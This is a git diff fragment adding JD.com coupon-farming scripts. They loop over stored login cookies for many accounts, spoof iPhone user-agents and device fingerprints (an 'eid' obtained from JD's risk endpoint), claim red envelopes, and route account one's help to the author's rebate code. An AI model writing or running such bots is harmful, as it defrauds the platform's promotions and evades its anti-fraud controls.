r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}put(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"put";if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:i,...r}=t;this.got[s](i,r).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/gua_RedEnvelope.js b/backUp/gua_RedEnvelope.js new file mode 100644 index 0000000..117e5e8 --- /dev/null +++ b/backUp/gua_RedEnvelope.js @@ -0,0 +1,351 @@ +/* +双十一无门槛红包🧧 +ck1助力 作者 +其余助力ck1 +https://u.jd.com/yI2EGVm +跳转到app 可查看助力情况 +0 0,10,18,20,22 * * * gua_RedEnvelope.js +*/ + +let rebateCodes = '' + +const $ = new Env('第二期红包🧧'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +const Faker = $.isNode() ? require('./sign_graphics_validate.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +rebateCodes = $.isNode() ? (process.env.gua_redEnvelope_rebateCode ? process.env.gua_redEnvelope_rebateCode : `${rebateCodes}`) : ($.getdata('gua_redEnvelope_rebateCode') ? $.getdata('gua_redEnvelope_rebateCode') : `${rebateCodes}`); + +rebateCode = '' +message = '' +newCookie = '' +resMsg = '' +const activeEndTime = '2021/11/12 00:00:00+08:00';//活动结束时间 +let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (nowTime > new Date(activeEndTime).getTime()) { + //活动结束后弹窗提醒 + $.msg($.name, '活动已结束', `请删除此脚本\n咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`); + return + } + $.shareCode = 'zZDrk' + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await getUA() + await run(); + } + } + if(message){ + $.msg($.name, ``, `${message}\nhttps://u.jd.com/yI2EGVm\n\n跳转到app 可查看助力情况`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${message}\n\nhttps://u.jd.com/yI2EGVm\n跳转到app 可查看助力情况`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + resMsg = '' + let s = 0 + let t = 1 + do{ + $.flag = 0 + newCookie = '' + await getUrl() + if(!$.url1){ + console.log('获取url1失败') + t = 0 + break + } + await getUrl1() + if(!$.url2){ + console.log('获取url2失败') + t = 0 + break + } + $.actId = $.url2.match(/mall\/active\/([^/]+)\/index\.html/) && $.url2.match(/mall\/active\/([^/]+)\/index\.html/)[1] || '2GdKXzvywVytLvcJTk2K3pLtDEHq' + if(Faker){ + let arr = await Faker.getBody($.UA,$.url2) + await getEid(arr) + } + if(!$.eid){ + $.eid = -1 + } + if(s == 0){ + await getCoupons($.shareCode,1) + }else{ + await getCoupons('',1) + } + s++ + if($.flag == 1){ + await $.wait(parseInt(Math.random() * 5000 + 3000, 10)) + } + }while ($.flag == 1 && s < 5) + if($.index == 1 && t == 1){ + await $.wait(parseInt(Math.random() * 2000 + 1000, 10)) + await shareUnionCoupon() + } + if(resMsg){ + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${resMsg}` + } + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + }catch(e){ + console.log(e) + } +} +function getCoupons(shareId = '',type = 1) { + return new Promise(resolve => { + let opts = { + url: `https://api.m.jd.com/api?functionId=getCoupons&appid=u&_=${Date.now()}&loginType=2&body={%22platform%22:4,%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22d%22:%22${rebateCode}%22,%22unionShareId%22:%22${shareId}%22,%22type%22:${type},%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6&h5st=undefined`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${cookie} ${newCookie}`, + "User-Agent": $.UA , + } + } + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.msg) console.log(res.msg) + if(res.msg.indexOf('上限') === -1 && res.msg.indexOf('登录') === -1){ + $.flag = 1 + } + if(shareId && typeof res.data !== 'undefined' && typeof res.data.joinNum !== 'undefined'){ + console.log(`当前${res.data.joinSuffix}:${res.data.joinNum}`) + } + if(res.code == 0 && res.data){ + let msg = '' + if(res.data.type == 1){ + msg = `获得[红包]🧧${res.data.discount}元 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` + }else if(res.data.type == 3){ + msg = `获得[优惠券]🎟️满${res.data.quota}减${res.data.discount} 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` + }else if(res.data.type == 6){ + msg = `获得[打折券]]🎫满${res.data.quota}打${res.data.discount*10}折 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` + }else{ + msg = `获得[未知]🎉${res.data.quota || ''} ${res.data.discount} 使用时间:${$.time('yyyy-MM-dd',res.data.beginTime)} ${$.time('yyyy-MM-dd',res.data.endTime)}` + console.log(data) + } + if(msg){ + resMsg += msg+'\n' + console.log(msg) + } + } + if(shareId && typeof res.data !== 'undefined' && typeof res.data.groupInfo !== 'undefined'){ + for(let i of res.data.groupInfo || []){ + if(i.status == 2){ + console.log(`助力满可以领取${i.info}元红包🧧`) + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + await getCoupons('',2) + } + } + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shareUnionCoupon() { + return new Promise(resolve => { + let opts = { + url: `https://api.m.jd.com/api?functionId=shareUnionCoupon&appid=u&_=${Date.now()}&loginType=2&body={%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22platform%22:4,%22unionShareId%22:%22${$.shareCode}%22,%22d%22:%22${rebateCode}%22,%22supportPic%22:2,%22supportLuckyCode%22:0,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${cookie} ${newCookie}`, + "User-Agent": $.UA , + } + } + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.code == 0 && res.data && res.data.shareUrl){ + $.shareCode = res.data.shareUrl.match(/\?s=([^&]+)/) && res.data.shareUrl.match(/\?s=([^&]+)/)[1] || '' + console.log('分享码:'+$.shareCode) + if($.shareCode) console.log(`以下账号会助力【京东账号${$.index}】${$.nickName || $.UserName}`) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function getUrl1() { + return new Promise(resolve => { + const options = { + url: $.url1, + followRedirect:false, + headers: { + 'Cookie': `${cookie} ${newCookie}`, + "User-Agent": $.UA + } + } + $.get(options, async (err, resp, data) => { + try { + setActivityCookie(resp) + $.url2 = resp && resp['headers'] && (resp['headers']['location'] || resp['headers']['Location'] || '') || '' + $.url2 = decodeURIComponent($.url2) + $.url2 = $.url2.match(/(https:\/\/prodev[\.m]{0,}\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/prodev[\.m]{0,}\.jd\.com\/mall[^'"]+)/)[1] || '' + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getUrl() { + return new Promise(resolve => { + const options = { + url: `https://u.jd.com/${rebateCode}?s=${$.shareCode}`, + followRedirect:false, + headers: { + 'Cookie': `${cookie} ${newCookie}`, + "User-Agent": $.UA + } + } + $.get(options, async (err, resp, data) => { + try { + setActivityCookie(resp) + $.url1 = data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/) && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/)[1] || '' + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function setActivityCookie(resp){ + let setcookies = resp && resp['headers'] && (resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '') || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(newCookie.indexOf(name.split("=")[1]) == -1) newCookie += name.replace(/ /g,'')+'; ' + } + } + } +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`fcf: API查询请求失败 ‼️‼️`) + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.2.0;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460611;appBuild/167853;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` + rebateCode = 'yI2EGVm' + if($.index != 1){ + let arr = [rebateCodes,'yI2EGVm'] + rebateCode = arr[Math.floor(Math.random() * arr.length)] || rebateCode + if(!rebateCode) rebateCode = 'yI2EGVm' + } + console.log(rebateCode) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_UnknownTask1.js b/backUp/gua_UnknownTask1.js new file mode 100644 index 0000000..084b43d --- /dev/null +++ b/backUp/gua_UnknownTask1.js @@ -0,0 +1,303 @@ +/* + +https://prodev.m.jd.com/mall/active/2VyRHGE7jM1igBJcrjoB6ak1JJWV/index.html + + +如需加购请设置环境变量[guaunknownTask_addSku1]为"true" + +27 14 * 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_UnknownTask1.js +*/ +const $ = new Env('电脑配件'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +let guaunknownTask_addSku = "false" +guaunknownTask_addSku = $.isNode() ? (process.env.guaunknownTask_addSku1 ? process.env.guaunknownTask_addSku1 : `${guaunknownTask_addSku}`) : ($.getdata('guaunknownTask_addSku1') ? $.getdata('guaunknownTask_addSku1') : `${guaunknownTask_addSku}`); +guaunknownTask_addSku = $.isNode() ? (process.env.guaunknownTask_addSku_All ? process.env.guaunknownTask_addSku_All : `${guaunknownTask_addSku}`) : ($.getdata('guaunknownTask_addSku_All') ? $.getdata('guaunknownTask_addSku_All') : `${guaunknownTask_addSku}`); +allMessage = "" +message = "" +$.hotFlag = false +$.outFlag = 0 +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + MD5() + console.log(`入口:\nhttps://prodev.m.jd.com/mall/active/2VyRHGE7jM1igBJcrjoB6ak1JJWV/index.html`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; 